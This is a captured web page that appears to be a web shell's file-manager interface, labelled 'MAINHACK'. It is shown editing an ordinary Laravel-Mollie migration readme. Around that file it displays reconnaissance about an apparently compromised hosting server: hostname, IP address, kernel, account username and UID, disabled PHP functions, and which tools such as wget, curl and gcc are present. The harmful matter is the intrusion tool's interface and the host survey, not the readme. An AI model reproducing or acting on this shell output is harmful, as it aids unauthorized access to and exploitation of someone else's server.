[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: migration_instructions_v1_to_v2.md
 # Migrating from Laravel-Mollie v1.x to v2 ### Step 1: Update composer dependencies Update `composer.json` to match this: ``` "require": { "mollie/laravel-mollie": "^2.0" } ``` Then run `composer update mollie/laravel-mollie`. ### Step 2: Reconfiguring the Mollie API key Setting the api key has been simplified. It now only requires you to set a single variable in your `.env` file. This is how you do it: - If you have a `mollie.php` file in your `config/` directory, remove it. - Add `MOLLIE_KEY=your_api_key_here` to your `.env` file. Use the test key for test mode, or the live key for live mode. - You can now remove the `MOLLIE_TEST_MODE`, `MOLLIE_KEY_TEST` and `MOLLIE_KEY_LIVE` variables from the .env file. ### Step 3: Changed package methods A few months ago Mollie launched the v2 API, along with an upgraded php core client. The v2 release of this Laravel-Mollie package leverages the new features of the v2 API. This also means some breaking changes have been introduced in this package. Some methods were removed: - `Mollie::api()->permissions()` - `Mollie::api()->organizations()` - `Mollie::api()->issuers()` These methods were renamed: - `Mollie::api()->customerMandates()` into `Mollie::api()->mandates()` - `Mollie::api()->customersPayments()` into `Mollie::api()->customerPayments()` - `Mollie::api()->customerSubscriptions()` into `Mollie::api()->subscriptions()` - `Mollie::api()->paymentsRefunds()` into `Mollie::api()->refunds()` Also, this method was added: - `Mollie::api()->invoices()` ### Step 4: Other changes More breaking changes were introduced with the new Mollie API. Read about it here in the [official migration docs](https://docs.mollie.com/migrating-v1-to-v2). ## Stuck? Feel free to open an [issue](https://github.com/mollie/laravel-mollie/issues).
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285